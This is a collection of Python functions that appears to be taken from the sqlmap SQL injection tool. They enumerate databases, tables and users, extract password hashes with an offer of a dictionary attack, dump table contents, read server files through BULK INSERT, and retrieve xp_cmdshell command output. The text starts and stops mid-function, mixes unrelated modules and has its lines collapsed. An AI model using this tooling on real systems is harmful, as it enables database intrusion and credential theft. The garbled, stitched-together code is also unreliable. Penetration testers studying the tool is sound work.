Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.INFORMIX): query = rootQuery.blind.query % ( index, unsafeSQLIdentificatorNaming(db)) else: query = rootQuery.blind.query % ( unsafeSQLIdentificatorNaming(db), index) table = unArrayizeValue( inject.getValue(query, union=False, error=False)) if not isNoneValue(table): kb.hintValue = table table = safeSQLIdentificatorNaming(table, True) tables.append(table) if tables: kb.data.cachedTables[db] = tables else: warnMsg = "unable to retrieve the table names " warnMsg += "for database '%s'" % unsafeSQLIdentificatorNaming( db) logger.warn(warnMsg) if isNoneValue(kb.data.cachedTables): kb.data.cachedTables.clear() if not kb.data.cachedTables: errMsg = "unable to retrieve the table names for any database" if bruteForce is None: logger.error(errMsg) return self.getTables(bruteForce=True) elif not conf.search: raise SqlmapNoneDataException(errMsg) else: for db, tables in kb.data.cachedTables.items(): kb.data.cachedTables[db] = sorted(tables) if tables else tables if kb.data.cachedTables: for db in kb.data.cachedTables.keys(): kb.data.cachedTables[db] = list(set(kb.data.cachedTables[db])) return kb.data.cachedTables
def stackedReadFile(self, remoteFile): if not kb.bruteMode: infoMsg = "fetching file: '%s'" % remoteFile logger.info(infoMsg) result = [] txtTbl = self.fileTblName hexTbl = "%s%shex" % (self.fileTblName, randomStr()) self.createSupportTbl(txtTbl, self.tblField, "text") inject.goStacked("DROP TABLE %s" % hexTbl) inject.goStacked("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" % (hexTbl, self.tblField, "VARCHAR(4096)")) logger.debug("loading the content of file '%s' into support table" % remoteFile) inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, remoteFile, randomStr(10), randomStr(10)), silent=True) # Reference: https://web.archive.org/web/20120211184457/http://support.microsoft.com/kb/104829 binToHexQuery = """DECLARE @charset VARCHAR(16) DECLARE @counter INT DECLARE @hexstr VARCHAR(4096) DECLARE @length INT DECLARE @chunk INT SET @charset = '0123456789ABCDEF' SET @counter = 1 SET @hexstr = '' SET @length = (SELECT DATALENGTH(%s) FROM %s) SET @chunk = 1024 WHILE (@counter <= @length) BEGIN DECLARE @tempint INT DECLARE @firstint INT DECLARE @secondint INT SET @tempint = CONVERT(INT, (SELECT ASCII(SUBSTRING(%s, @counter, 1)) FROM %s)) SET @firstint = floor(@tempint/16) SET @secondint = @tempint - (@firstint * 16) SET @hexstr = @hexstr + SUBSTRING(@charset, @firstint+1, 1) + SUBSTRING(@charset, @secondint+1, 1) SET @counter = @counter + 1 IF @counter %% @chunk = 0 BEGIN INSERT INTO %s(%s) VALUES(@hexstr) SET @hexstr = '' END END IF @counter %% (@chunk) != 0 BEGIN INSERT INTO %s(%s) VALUES(@hexstr) END """ % (self.tblField, txtTbl, self.tblField, txtTbl, hexTbl, self.tblField, hexTbl, self.tblField) binToHexQuery = binToHexQuery.replace(" ", "").replace("\n", " ") inject.goStacked(binToHexQuery) if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): result = inject.getValue("SELECT %s FROM %s ORDER BY id ASC" % (self.tblField, hexTbl), resumeValue=False, blind=False, time=False, error=False) if not result: result = [] count = inject.getValue("SELECT COUNT(*) FROM %s" % (hexTbl), resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): errMsg = "unable to retrieve the content of the " errMsg += "file '%s'" % remoteFile raise SqlmapNoneDataException(errMsg) indexRange = getLimitRange(count) for index in indexRange: chunk = inject.getValue("SELECT TOP 1 %s FROM %s WHERE %s NOT IN (SELECT TOP %d %s FROM %s ORDER BY id ASC) ORDER BY id ASC" % (self.tblField, hexTbl, self.tblField, index, self.tblField, hexTbl), unpack=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL) result.append(chunk) inject.goStacked("DROP TABLE %s" % hexTbl) return result
def getUsers(self): infoMsg = "fetching database users" logger.info(infoMsg) rootQuery = queries[Backend.getIdentifiedDbms()].users condition = (Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin( ("2005", "2008"))) condition |= (Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema) if any( isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if condition: query = rootQuery.inband.query2 else: query = rootQuery.inband.query values = inject.getValue(query, blind=False, time=False) if not isNoneValue(values): kb.data.cachedUsers = [] for value in arrayizeValue(values): value = unArrayizeValue(value) if not isNoneValue(value): kb.data.cachedUsers.append(value) if not kb.data.cachedUsers and isInferenceAvailable( ) and not conf.direct: infoMsg = "fetching number of database users" logger.info(infoMsg) if condition: query = rootQuery.blind.count2 else: query = rootQuery.blind.count count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if count == 0: return kb.data.cachedUsers elif not isNumPosStrValue(count): errMsg = "unable to retrieve the number of database users" raise SqlmapNoneDataException(errMsg) plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: if Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MAXDB): query = rootQuery.blind.query % (kb.data.cachedUsers[-1] if kb.data.cachedUsers else " ") elif condition: query = rootQuery.blind.query2 % index else: query = rootQuery.blind.query % index user = unArrayizeValue( inject.getValue(query, union=False, error=False)) if user: kb.data.cachedUsers.append(user) if not kb.data.cachedUsers: errMsg = "unable to retrieve the database users" logger.error(errMsg) return kb.data.cachedUsers
def searchDb(self): foundDbs = [] rootQuery = queries[Backend.getIdentifiedDbms()].search_db dbList = conf.db.split(",") if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: dbCond = rootQuery.inband.condition2 else: dbCond = rootQuery.inband.condition dbConsider, dbCondParam = self.likeOrExact("database") for db in dbList: values = [] db = safeSQLIdentificatorNaming(db) if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): db = db.upper() infoMsg = "searching database" if dbConsider == "1": infoMsg += "s like" infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(db) logger.info(infoMsg) if conf.excludeSysDbs: exclDbsQuery = "".join( " AND '%s' != %s" % (unsafeSQLIdentificatorNaming(db), dbCond) for db in self.excludeDbsList) infoMsg = "skipping system database%s '%s'" % ( "s" if len(self.excludeDbsList) > 1 else "", ", ".join( db for db in self.excludeDbsList)) logger.info(infoMsg) else: exclDbsQuery = "" dbQuery = "%s%s" % (dbCond, dbCondParam) dbQuery = dbQuery % unsafeSQLIdentificatorNaming(db) if any( isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if Backend.isDbms( DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.inband.query2 else: query = rootQuery.inband.query query = query % (dbQuery + exclDbsQuery) values = inject.getValue(query, blind=False, time=False) if not isNoneValue(values): values = arrayizeValue(values) for value in values: value = safeSQLIdentificatorNaming(value) foundDbs.append(value) if not values and isInferenceAvailable() and not conf.direct: infoMsg = "fetching number of database" if dbConsider == "1": infoMsg += "s like" infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(db) logger.info(infoMsg) if Backend.isDbms( DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.blind.count2 else: query = rootQuery.blind.count query = query % (dbQuery + exclDbsQuery) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): warnMsg = "no database" if dbConsider == "1": warnMsg += "s like" warnMsg += " '%s' found" % unsafeSQLIdentificatorNaming(db) logger.warn(warnMsg) continue indexRange = getLimitRange(count) for index in indexRange: if Backend.isDbms( DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.blind.query2 else: query = rootQuery.blind.query query = query % (dbQuery + exclDbsQuery) query = agent.limitQuery(index, query, dbCond) value = unArrayizeValue( inject.getValue(query, union=False, error=False)) value = safeSQLIdentificatorNaming(value) foundDbs.append(value) conf.dumper.lister("found databases", foundDbs)
def getPasswordHashes(self): infoMsg = "fetching database users password hashes" rootQuery = queries[Backend.getIdentifiedDbms()].passwords if conf.user == "CU": infoMsg += " for current user" conf.user = self.getCurrentUser() logger.info(infoMsg) if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): conf.user = conf.user.upper() if conf.user: users = conf.user.split(",") if Backend.isDbms(DBMS.MYSQL): for user in users: parsedUser = re.search("[\047]*(.*?)[\047]*\@", user) if parsedUser: users[users.index(user)] = parsedUser.groups()[0] else: users = [] users = filter(None, users) if any( isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin( ("2005", "2008")): query = rootQuery.inband.query2 else: query = rootQuery.inband.query condition = rootQuery.inband.condition if conf.user: query += " WHERE " query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users)) if Backend.isDbms(DBMS.SYBASE): randStr = randomStr() getCurrentThreadData().disableStdOut = True retVal = pivotDumpTable( "(%s) AS %s" % (query, randStr), ['%s.name' % randStr, '%s.password' % randStr], blind=False) if retVal: for user, password in filterPairValues( zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.password" % randStr])): if user not in kb.data.cachedUsersPasswords: kb.data.cachedUsersPasswords[user] = [password] else: kb.data.cachedUsersPasswords[user].append(password) getCurrentThreadData().disableStdOut = False else: values = inject.getValue(query, blind=False, time=False) for user, password in filterPairValues(values): if not user or user == " ": continue password = parsePasswordHash(password) if user not in kb.data.cachedUsersPasswords: kb.data.cachedUsersPasswords[user] = [password] else: kb.data.cachedUsersPasswords[user].append(password) if not kb.data.cachedUsersPasswords and isInferenceAvailable( ) and not conf.direct: if not len(users): users = self.getUsers() if Backend.isDbms(DBMS.MYSQL): for user in users: parsedUser = re.search("[\047]*(.*?)[\047]*\@", user) if parsedUser: users[users.index(user)] = parsedUser.groups()[0] if Backend.isDbms(DBMS.SYBASE): getCurrentThreadData().disableStdOut = True randStr = randomStr() query = rootQuery.inband.query retVal = pivotDumpTable( "(%s) AS %s" % (query, randStr), ['%s.name' % randStr, '%s.password' % randStr], blind=True) if retVal: for user, password in filterPairValues( zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.password" % randStr])): password = "******" % hexencode(password).upper() if user not in kb.data.cachedUsersPasswords: kb.data.cachedUsersPasswords[user] = [password] else: kb.data.cachedUsersPasswords[user].append(password) getCurrentThreadData().disableStdOut = False else: retrievedUsers = set() for user in users: user = unArrayizeValue(user) if user in retrievedUsers: continue infoMsg = "fetching number of password hashes " infoMsg += "for user '%s'" % user logger.info(infoMsg) if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin( ("2005", "2008")): query = rootQuery.blind.count2 % user else: query = rootQuery.blind.count % user count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): warnMsg = "unable to retrieve the number of password " warnMsg += "hashes for user '%s'" % user logger.warn(warnMsg) continue infoMsg = "fetching password hashes for user '%s'" % user logger.info(infoMsg) passwords = [] plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: if Backend.isDbms(DBMS.MSSQL): if Backend.isVersionWithin(("2005", "2008")): query = rootQuery.blind.query2 % (user, index, user) else: query = rootQuery.blind.query % (user, index, user) else: query = rootQuery.blind.query % (user, index) password = unArrayizeValue( inject.getValue(query, union=False, error=False)) password = parsePasswordHash(password) passwords.append(password) if passwords: kb.data.cachedUsersPasswords[user] = passwords else: warnMsg = "unable to retrieve the password " warnMsg += "hashes for user '%s'" % user logger.warn(warnMsg) retrievedUsers.add(user) if not kb.data.cachedUsersPasswords: errMsg = "unable to retrieve the password hashes for the " errMsg += "database users (probably because the session " errMsg += "user has no read privileges over the relevant " errMsg += "system database table)" logger.error(errMsg) else: for user in kb.data.cachedUsersPasswords: kb.data.cachedUsersPasswords[user] = list( set(kb.data.cachedUsersPasswords[user])) storeHashesToFile(kb.data.cachedUsersPasswords) message = "do you want to perform a dictionary-based attack " message += "against retrieved password hashes? [Y/n/q]" test = readInput(message, default="Y") if test[0] in ("n", "N"): pass elif test[0] in ("q", "Q"): raise SqlmapUserQuitException else: attackCachedUsersPasswords() return kb.data.cachedUsersPasswords
def getTables(self): if len(kb.data.cachedTables) > 0: return kb.data.cachedTables self.forceDbmsEnum() if conf.db == CURRENT_DB: conf.db = self.getCurrentDb() if conf.db: dbs = conf.db.split(',') else: dbs = self.getDbs() for db in dbs: dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db) dbs = [_ for _ in dbs if _] infoMsg = "fetching tables for database" infoMsg += "%s: %s" % ("s" if len(dbs) > 1 else "", ", ".join( db if isinstance(db, six.string_types) else db[0] for db in sorted(dbs))) logger.info(infoMsg) rootQuery = queries[DBMS.MSSQL].tables if any( isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: for db in dbs: if conf.excludeSysDbs and db in self.excludeDbsList: infoMsg = "skipping system database '%s'" % db singleTimeLogMessage(infoMsg) continue if conf.exclude and db in conf.exclude.split(','): infoMsg = "skipping database '%s'" % db singleTimeLogMessage(infoMsg) continue for query in (rootQuery.inband.query, rootQuery.inband.query2, rootQuery.inband.query3): query = query.replace("%s", db) value = inject.getValue(query, blind=False, time=False) if not isNoneValue(value): break if not isNoneValue(value): value = [_ for _ in arrayizeValue(value) if _] value = [ safeSQLIdentificatorNaming(unArrayizeValue(_), True) for _ in value ] kb.data.cachedTables[db] = value if not kb.data.cachedTables and isInferenceAvailable( ) and not conf.direct: for db in dbs: if conf.excludeSysDbs and db in self.excludeDbsList: infoMsg = "skipping system database '%s'" % db singleTimeLogMessage(infoMsg) continue if conf.exclude and db in conf.exclude.split(','): infoMsg = "skipping database '%s'" % db singleTimeLogMessage(infoMsg) continue infoMsg = "fetching number of tables for " infoMsg += "database '%s'" % db logger.info(infoMsg) for query in (rootQuery.blind.count, rootQuery.blind.count2, rootQuery.blind.count3): _ = query.replace("%s", db) count = inject.getValue(_, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNoneValue(count): break if not isNumPosStrValue(count): if count != 0: warnMsg = "unable to retrieve the number of " warnMsg += "tables for database '%s'" % db logger.warn(warnMsg) continue tables = [] for index in xrange(int(count)): _ = safeStringFormat( (rootQuery.blind.query if query == rootQuery.blind.count else rootQuery.blind.query2 if query == rootQuery.blind.count2 else rootQuery.blind.query3).replace("%s", db), index) table = inject.getValue(_, union=False, error=False) if not isNoneValue(table): kb.hintValue = table table = safeSQLIdentificatorNaming(table, True) tables.append(table) if tables: kb.data.cachedTables[db] = tables else: warnMsg = "unable to retrieve the tables " warnMsg += "for database '%s'" % db logger.warn(warnMsg) if not kb.data.cachedTables and not conf.search: errMsg = "unable to retrieve the tables for any database" raise SqlmapNoneDataException(errMsg) else: for db, tables in kb.data.cachedTables.items(): kb.data.cachedTables[db] = sorted(tables) if tables else tables return kb.data.cachedTables
def xpCmdshellEvalCmd(self, cmd, first=None, last=None): output = None if conf.direct: output = self.xpCmdshellExecCmd(cmd) if output and isinstance(output, (list, tuple)): new_output = "" for line in output: if line == "NULL": new_output += "\n" else: new_output += "%s\n" % line.strip("\r") output = new_output else: inject.goStacked(self.xpCmdshellForgeCmd(cmd, self.cmdTblName)) # When user provides DBMS credentials (with --dbms-cred), the # command standard output is redirected to a temporary file # The file needs to be copied to the support table, # 'sqlmapoutput' if conf.dbmsCred: inject.goStacked( "BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, self.tmpFile, randomStr(10), randomStr(10))) self.delRemoteFile(self.tmpFile) query = "SELECT %s FROM %s ORDER BY id" % (self.tblField, self.cmdTblName) if any( isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: output = inject.getValue(query, resumeValue=False, blind=False, time=False) if (output is None) or len(output) == 0 or output[0] is None: output = [] count = inject.getValue("SELECT COUNT(id) FROM %s" % self.cmdTblName, resumeValue=False, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if isNumPosStrValue(count): for index in getLimitRange(count): query = agent.limitQuery(index, query, self.tblField) output.append( inject.getValue(query, union=False, error=False, resumeValue=False)) inject.goStacked("DELETE FROM %s" % self.cmdTblName) if output and isListLike(output) and len(output) > 1: _ = "" lines = [ line for line in flattenValue(output) if line is not None ] for i in xrange(len(lines)): line = lines[i] or "" if line is None or i in (0, len(lines) - 1) and not line.strip(): continue _ += "%s\n" % line output = _.rstrip('\n') return output
def pivotDumpTable(table, colList, count=None, blind=True): lengths = {} entries = {} dumpNode = queries[Backend.getIdentifiedDbms()].dump_table.blind validColumnList = False validPivotValue = False if count is None: query = dumpNode.count % table count = inject.getValue( query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if blind else inject.getValue( query, blind=False, time=False, expected=EXPECTED.INT) if isinstance(count, basestring) and count.isdigit(): count = int(count) if count == 0: infoMsg = "table '%s' appears to be empty" % unsafeSQLIdentificatorNaming( table) logger.info(infoMsg) for column in colList: lengths[column] = len(column) entries[column] = [] return entries, lengths elif not isNumPosStrValue(count): return None for column in colList: lengths[column] = 0 entries[column] = BigArray() colList = filter(None, sorted(colList, key=lambda x: len(x) if x else MAX_INT)) for column in colList: infoMsg = "fetching number of distinct " infoMsg += "values for column '%s'" % column logger.info(infoMsg) query = dumpNode.count2 % (column, table) value = inject.getValue(query, blind=blind, union=not blind, error=not blind, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if isNumPosStrValue(value): validColumnList = True if value == count: infoMsg = "using column '%s' as a pivot " % column infoMsg += "for retrieving row data" logger.info(infoMsg) validPivotValue = True colList.remove(column) colList.insert(0, column) break if not validColumnList: errMsg = "all column name(s) provided are non-existent" raise SqlmapNoneDataException, errMsg if not validPivotValue: warnMsg = "no proper pivot column provided (with unique values)." warnMsg += " It won't be possible to retrieve all rows" logger.warn(warnMsg) pivotValue = " " breakRetrieval = False try: for i in xrange(count): if breakRetrieval: break for column in colList: def _(pivotValue): if column == colList[0]: query = dumpNode.query.replace("'%s'", "%s") % ( column, table, column, unescaper.unescape(pivotValue, False)) else: query = dumpNode.query2.replace("'%s'", "%s") % ( column, table, colList[0], unescaper.unescape(pivotValue, False)) return unArrayizeValue( inject.getValue(query, blind=blind, time=blind, union=not blind, error=not blind)) value = _(pivotValue) if column == colList[0]: if isNoneValue(value): for pivotValue in filter( None, (" " if pivotValue == " " else None, "%s%s" % (pivotValue[0], unichr(ord(pivotValue[1]) + 1)) if len(pivotValue) > 1 else None, unichr(ord(pivotValue[0]) + 1))): value = _(pivotValue) if not isNoneValue(value): break if isNoneValue(value): breakRetrieval = True break pivotValue = safechardecode(value) if conf.limitStart or conf.limitStop: if conf.limitStart and (i + 1) < conf.limitStart: warnMsg = "skipping first %d pivot " % conf.limitStart warnMsg += "point values" singleTimeWarnMessage(warnMsg) break elif conf.limitStop and (i + 1) > conf.limitStop: breakRetrieval = True break value = "" if isNoneValue(value) else unArrayizeValue(value) lengths[column] = max(lengths[column], len(value) if value else 0) entries[column].append(value) except KeyboardInterrupt: warnMsg = "user aborted during enumeration. sqlmap " warnMsg += "will display partial output" logger.warn(warnMsg) except SqlmapConnectionException, e: errMsg = "connection exception detected. sqlmap " errMsg += "will display partial output" errMsg += "'%s'" % e logger.critical(errMsg)
def getDbs(self): if len(kb.data.cachedDbs) > 0: return kb.data.cachedDbs infoMsg = None if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: warnMsg = "information_schema not available, " warnMsg += "back-end DBMS is MySQL < 5. database " warnMsg += "names will be fetched from 'mysql' database" logger.warn(warnMsg) elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL): warnMsg = "schema names are going to be used on %s " % Backend.getIdentifiedDbms( ) warnMsg += "for enumeration as the counterpart to database " warnMsg += "names on other DBMSes" logger.warn(warnMsg) infoMsg = "fetching database (schema) names" else: infoMsg = "fetching database names" if infoMsg: logger.info(infoMsg) rootQuery = queries[Backend.getIdentifiedDbms()].dbs if any( isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if Backend.isDbms( DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.inband.query2 else: query = rootQuery.inband.query values = inject.getValue(query, blind=False, time=False) if not isNoneValue(values): kb.data.cachedDbs = arrayizeValue(values) if not kb.data.cachedDbs and isInferenceAvailable( ) and not conf.direct: infoMsg = "fetching number of databases" logger.info(infoMsg) if Backend.isDbms( DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.blind.count2 else: query = rootQuery.blind.count count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): errMsg = "unable to retrieve the number of databases" logger.error(errMsg) else: plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: if Backend.isDbms(DBMS.SYBASE): query = rootQuery.blind.query % (kb.data.cachedDbs[-1] if kb.data.cachedDbs else " ") elif Backend.isDbms( DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.blind.query2 % index else: query = rootQuery.blind.query % index db = unArrayizeValue( inject.getValue(query, union=False, error=False)) if db: kb.data.cachedDbs.append( safeSQLIdentificatorNaming(db)) if not kb.data.cachedDbs and Backend.isDbms(DBMS.MSSQL): if any( isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: blinds = (False, True) else: blinds = (True, ) for blind in blinds: count = 0 kb.data.cachedDbs = [] while True: query = rootQuery.inband.query2 % count value = unArrayizeValue(inject.getValue(query, blind=blind)) if not (value or "").strip(): break else: kb.data.cachedDbs.append(value) count += 1 if kb.data.cachedDbs: break if not kb.data.cachedDbs: infoMsg = "falling back to current database" logger.info(infoMsg) self.getCurrentDb() if kb.data.currentDb: kb.data.cachedDbs = [kb.data.currentDb] else: errMsg = "unable to retrieve the database names" raise SqlmapNoneDataException(errMsg) else: kb.data.cachedDbs.sort() if kb.data.cachedDbs: kb.data.cachedDbs = filter( None, list(set(flattenValue(kb.data.cachedDbs)))) return kb.data.cachedDbs
def dumpTable(self, foundData=None): self.forceDbmsEnum() if conf.db is None or conf.db == CURRENT_DB: if conf.db is None: warnMsg = "missing database parameter. sqlmap is going " warnMsg += "to use the current database to enumerate " warnMsg += "table(s) entries" logger.warn(warnMsg) conf.db = self.getCurrentDb() elif conf.db is not None: if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2): conf.db = conf.db.upper() if ',' in conf.db: errMsg = "only one database name is allowed when enumerating " errMsg += "the tables' columns" raise SqlmapMissingMandatoryOptionException(errMsg) if conf.exclude and conf.db in conf.exclude.split(','): infoMsg = "skipping database '%s'" % unsafeSQLIdentificatorNaming( conf.db) singleTimeLogMessage(infoMsg) return conf.db = safeSQLIdentificatorNaming(conf.db) if conf.tbl: if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2): conf.tbl = conf.tbl.upper() tblList = conf.tbl.split(',') else: self.getTables() if len(kb.data.cachedTables) > 0: tblList = kb.data.cachedTables.values() if isinstance(tblList[0], (set, tuple, list)): tblList = tblList[0] elif not conf.search: errMsg = "unable to retrieve the tables " errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) raise SqlmapNoneDataException(errMsg) else: return for tbl in tblList: tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True) for tbl in tblList: if kb.dumpKeyboardInterrupt: break if conf.exclude and tbl in conf.exclude.split(','): infoMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming( tbl) singleTimeLogMessage(infoMsg) continue conf.tbl = tbl kb.data.dumpedTable = {} if foundData is None: kb.data.cachedColumns = {} self.getColumns(onlyColNames=True, dumpMode=True) else: kb.data.cachedColumns = foundData try: if Backend.isDbms(DBMS.INFORMIX): kb.dumpTable = "%s:%s" % (conf.db, tbl) else: kb.dumpTable = "%s.%s" % (conf.db, tbl) if safeSQLIdentificatorNaming( conf.db ) not in kb.data.cachedColumns or safeSQLIdentificatorNaming( tbl, True ) not in kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db )] or not kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)][safeSQLIdentificatorNaming(tbl, True)]: warnMsg = "unable to enumerate the columns for table " warnMsg += "'%s' in database" % unsafeSQLIdentificatorNaming( tbl) warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(conf.db) warnMsg += ", skipping" if len(tblList) > 1 else "" logger.warn(warnMsg) continue columns = kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)][safeSQLIdentificatorNaming(tbl, True)] colList = sorted(column for column in columns if column) if conf.exclude: colList = [ _ for _ in colList if _ not in conf.exclude.split(',') ] if not colList: warnMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming( tbl) warnMsg += " in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) warnMsg += " (no usable column names)" logger.warn(warnMsg) continue kb.dumpColumns = colList colNames = colString = ", ".join(column for column in colList) rootQuery = queries[Backend.getIdentifiedDbms()].dump_table infoMsg = "fetching entries" if conf.col: infoMsg += " of column(s) '%s'" % colNames infoMsg += " for table '%s'" % unsafeSQLIdentificatorNaming( tbl) infoMsg += " in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.info(infoMsg) for column in colList: _ = agent.preprocessField(tbl, column) if _ != column: colString = re.sub(r"\b%s\b" % re.escape(column), _, colString) entriesCount = 0 if any( isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: entries = [] query = None if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.inband.query % ( colString, tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper()))) elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MAXDB): query = rootQuery.inband.query % (colString, tbl) elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): # Partial inband and error if not (isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and kb.injection.data[PAYLOAD.TECHNIQUE.UNION]. where == PAYLOAD.WHERE.ORIGINAL): table = "%s.%s" % (conf.db, tbl) if Backend.isDbms( DBMS.MSSQL) and not conf.forcePivoting: warnMsg = "in case of table dumping problems (e.g. column entry order) " warnMsg += "you are advised to rerun with '--force-pivoting'" singleTimeWarnMessage(warnMsg) query = rootQuery.blind.count % table query = agent.whereQuery(query) count = inject.getValue( query, blind=False, time=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if isNumPosStrValue(count): try: indexRange = getLimitRange( count, plusOne=True) for index in indexRange: row = [] for column in colList: query = rootQuery.blind.query3 % ( column, column, table, index) query = agent.whereQuery(query) value = inject.getValue( query, blind=False, time=False, dump=True) or "" row.append(value) entries.append(row) except KeyboardInterrupt: kb.dumpKeyboardInterrupt = True clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" logger.warn(warnMsg) if not entries and not kb.dumpKeyboardInterrupt: try: retVal = pivotDumpTable(table, colList, blind=False) except KeyboardInterrupt: retVal = None kb.dumpKeyboardInterrupt = True clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" logger.warn(warnMsg) if retVal: entries, _ = retVal entries = zip(*[ entries[colName] for colName in colList ]) else: query = rootQuery.inband.query % (colString, conf.db, tbl) elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2): query = rootQuery.inband.query % ( colString, conf.db, tbl, prioritySortColumns(colList)[0]) else: query = rootQuery.inband.query % (colString, conf.db, tbl) query = agent.whereQuery(query) if not entries and query and not kb.dumpKeyboardInterrupt: try: entries = inject.getValue(query, blind=False, time=False, dump=True) except KeyboardInterrupt: entries = None kb.dumpKeyboardInterrupt = True clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" logger.warn(warnMsg) if not isNoneValue(entries): if isinstance(entries, basestring): entries = [entries] elif not isListLike(entries): entries = [] entriesCount = len(entries) for index, column in enumerate(colList): if column not in kb.data.dumpedTable: kb.data.dumpedTable[column] = { "length": len(column), "values": BigArray() } for entry in entries: if entry is None or len(entry) == 0: continue if isinstance(entry, basestring): colEntry = entry else: colEntry = unArrayizeValue( entry[index] ) if index < len(entry) else u'' maxLen = max( len(column), len( DUMP_REPLACEMENTS.get( getUnicode(colEntry), getUnicode(colEntry)))) if maxLen > kb.data.dumpedTable[column][ 